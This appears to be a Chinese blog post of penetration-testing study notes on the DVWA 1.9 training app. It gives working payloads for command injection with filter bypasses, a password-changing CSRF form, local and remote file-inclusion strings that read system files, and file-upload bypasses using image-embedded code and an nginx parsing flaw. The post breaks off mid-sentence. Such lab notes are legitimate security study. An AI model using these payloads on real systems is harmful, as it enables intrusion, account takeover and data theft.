[笔记]渗透测试基础 - DVWA1.9

暴力破解(Brute Force)

演练

low/medium:burpsuite方法重放穷举
high:python脚本构造数据包过token
impossible: noway

命令注入(Command injection)

命令注入流程

1.是否调用命令?
2.函数或函数的参数是否可控
3.是否拼接注入命令

演练

low: 127.0.0.1&&net user
medium: 127.0.0.1&net user
high:127.0.0.1 | net user
impossible: noway

小结

A&B 简单的拼接,AB之间无制约关系
A&&B A执行成功才会执行B
A|B A的输出作为B的输入
A||B A执行失败才会执行B

扩展

如果过滤了敏感命令,有如下技巧

whoami
who""ami
who""am""i

如果不显示输出结果

1.延时注入
Windows: ping 127.0.0.1 -n 5 > nul
Linux:   sleep 5
2.远程请求
Windows: ping, telnet等
Linux: wget, curl, nslookup等

CSRF(Cross-site request forgery)

演练

low:
构造csrf.html文件如下,Client只要执行此页面,则密码会被修改。
注:为了显示效果写了一个按钮,hacker一般会写在脚本里。

<html>
 <body>
  <form action="http://192.168.28.128/dvwa/vulnerabilities/csrf/">
   <input type="hidden" name="password_new" value="hacker" />
   <input type="hidden" name="password_conf" value="hacker" />
   <input type="hidden" name="Change" value="Change" />
   <input type="submit" value="Click Me" />
  </form>
 </body>
</html>

medium:
增加了referer验证。
两种方式绕过:
1.只要修改referer为http://ip/dvwa/vulnerabilities/csrf/即可。
2.深入研究发现,只要referer中包含请求ip即可,则将前面csrf.html放入目录名为该ip的目录下即可。
high:
增加了user_token,除非和XSS漏洞配合使用,别无他法。

漏洞修复

可增加旧密码来验证。

文件包含(File Inclusion)

演练

low:
远程文件执行:可直接执行代码。http://192.168.28.128/dvwa/vulnerabilities/fi/?page=http://192.168.28.128/phpinfo.txt
以下是php代码:

<?php
 phpinfo();
?>

medium:
本地方法读取: low方法失效,服务端过滤了../字符,但是还可以使用..\的方式来 继续本地读取。

远程文件执行由于http://被过滤,所以构造httphttp://://192.168.28.128/phpinfo.txt

high:
本地方法读取:进一步研究发现,file字符并未被过滤,可使用file协议

file协议:文件传输协议,访问本地计算机中的文件

所以构造:http://192.168.28.128/dvwa/vulnerabilities/fi/
?page=file:///C:/window/win.ini
即可。
**远程文件执行:**file字符串并未被过滤,可结合文件上传漏洞来使用。

漏洞修复

可采取白名单的方式来防止绕过。

文件上传(File Upload)

演练

low:文件上传无限制,直接上传即可。
medium:
抓包分析,发现Content-Type:类型被限制,则抓包改为image/jpeg,成功绕过
high:
文件包含漏洞:尝试了php后缀名php内容 php后缀名img内容 img后缀名和php内容这三种都失败。可以制作内涵图进行绕过。

//windows的cmd下
copy 1.jpg/b+1.txt/a 2.jpg
//生成了2.jpg

成功上传2.jpg
**nginx解析漏洞:**nginx环境,配置php.ini下的cgi.fix_pathinfo=1这样即存在畸形解析。则2.jpg/2.php成功执行。
impossible:
原理:文件重

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值